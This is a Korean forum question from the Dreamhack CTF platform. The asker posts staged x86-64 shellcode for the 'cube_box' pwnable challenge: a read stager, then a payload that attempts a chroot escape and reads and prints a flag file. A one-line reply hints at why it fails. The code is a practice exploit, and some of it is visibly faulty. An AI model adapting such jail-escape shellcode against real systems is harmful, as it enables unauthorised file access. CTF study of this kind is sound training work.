완료됨
read -> shell

`#include <stdio.h>

asm(
".text\n"
".global run_sh\n"
"run_sh:\n"
// read(0, buf, 0x1000)
" mov rdi, 0x0\n" // 표준 입력 파일 디스크립터를 첫 번째 인수로 설정
" sub rsp, 0x1000\n" // 버퍼 크기만큼 스택 공간 할당 (0x1000 = 4096 바이트)
" mov rsi, rsp\n" // 할당된 스택 주소를 두 번째 인수로 설 정
" mov rdx, 0x1000\n" // 읽을 바이트 수 설정 (0x1000 = 4096 바이트)
" xor rax, rax\n" // syscall 번호 0 (read)
" syscall\n" // syscall 호출
);
int main() {
run_sh();
return 0;
}`

첫 번째 read(0,buf,0x80)에서 위를 shellcode로 입력한 뒤,
해당 shellcode에서 실행되는 read(0x1000)에서
`
#include <unistd.h>

asm(
".text\n"
".global run_sh\n"
"run_sh:\n"

// chdir("../../../../../../")
"    mov    rax, 0x2f2e2f2e2f2e2f2e\n" // "../../../../" 문자열
"    push   rax\n"
"    mov    rax, 0x2f2e2f2e\n"          // "../../" 문자열
"    push   rax\n"
"    mov    rdi, rsp\n"                // 스택 주소를 첫 번째 인수로 설 정
"    xor    rsi, rsi\n"                // flags (여기서는 0)
"    mov    rax, 0x50\n"               // syscall 번호 80 (chdir)
"    syscall\n"                        // syscall 호출

// chroot(".")
"    mov    rdi, 0x2e\n"               // "." 디렉토리의 경로 설정
"    mov    rax, 0x3d\n"               // syscall 번호 61 (chroot)
"    syscall\n"                        // syscall 호출

// open("/home/cube/flag", O_RDONLY)
"    movabs rax, 0x656c69662f656275\n" // "/cube/flag" 문자열
"    push   rax\n"
"    movabs rax, 0x6d6f682f\n"         // "/home" 문자열
"    push   rax\n"
"    mov    rdi, rsp\n"                // 스택 주소를 첫 번째 인수로 설 정
"    xor    rsi, rsi\n"                // flags (여기서는 0)
"    mov    rax, 0x2\n"                // syscall 번호 2 (open)
"    syscall\n"                        // syscall 호출

// read(fd, buf, 0x30)
"    mov    rdi, rax\n"                // open에서 반환된 파일 디스크립 터를 첫 번째 인수로 설정
"    sub    rsp, 0x30\n"               // 버퍼 크기만큼 스택 공간 할당
"    mov    rsi, rsp\n"                // 할당된 스택 주소를 두 번째 인 수로 설정
"    mov    rdx, 0x30\n"               // 읽을 바이트 수 설정 (0x30 = 48)
"    xor    rax, rax\n"                // syscall 번호 0 (read)
"    syscall\n"                        // syscall 호출

// write(1, buf, rax)
"    mov    rdi, 0x1\n"                // 표준 출력 파일 디스크립터를 첫 번째 인수로 설정
"    mov    rdx, rax\n"                // read에서 반환된 바이트 수를 세 번째 인수로 설정
"    mov    rax, 0x1\n"                // syscall 번호 1 (write)
"    syscall\n"                        // syscall 호출

);

int main() {
run_sh();
return 0;
}
`
를 입력하여 cube_box에서 탈출하려고 하였는데, 제대로 동작하지 않네요
이유가 뭔가요

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

스포가 될 것 같아 간단히...

문제 자체에서 루트 디렉토리를 제한하고 있기 때문입니다.

2024.07.18. 15:06